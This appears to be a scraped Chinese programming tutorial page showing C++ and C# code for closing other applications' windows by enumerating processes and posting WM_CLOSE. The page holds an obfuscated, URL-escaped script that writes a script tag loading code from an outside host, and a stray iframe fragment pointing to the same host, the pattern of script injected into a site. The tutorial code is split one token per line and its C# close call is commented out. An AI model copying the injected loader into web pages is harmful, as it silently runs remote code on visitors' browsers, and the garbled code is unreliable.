HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
在C#下关闭系统其它应用程序
下面这种方法可以指定具体的文件路径,进行关闭。
在C++下封装Dll
BOOL
CALLBACK
EnumThreadWndProc
(
HWND
hwnd
,
LPARAM
lParam
)
{
PostMessage
(
hwnd
,
WM_CLOSE
, 0,
lParam
);
return
TRUE
;
}
int
CloseThreadWindows
(
DWORD
threadID
)
{
int
ret
= 0;
if
(
EnumThreadWindows
(
threadID
,
EnumThreadWndProc
, 0))
{
ret
= 0;
}
else
{
ret
= -1;
}
return
ret
;
}
在C#下
public
int
CloseApplication
(
string
fileName
)
{
int
ret
= 0;
// Get all processes running on the local computer.
Process
[]
localAll
=
Process
.
GetProcesses
();
foreach
(
Process
process
in
localAll
)
{
bool
isCloseAppli
=
false
;
foreach
(
ProcessModule
pm
in
process
.
Modules
)
{
if
(
pm
.
FileName
==
fileName
)
{
isCloseAppli
=
true
;
break
;
}
}
if
(
isCloseAppli
)
{
foreach
(
ProcessThread
thread
in
process
.
Threads
)
{
ret
= 0;
//CloseThreadWindows(thread.Id);
}
}
}
return
ret
;
}
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">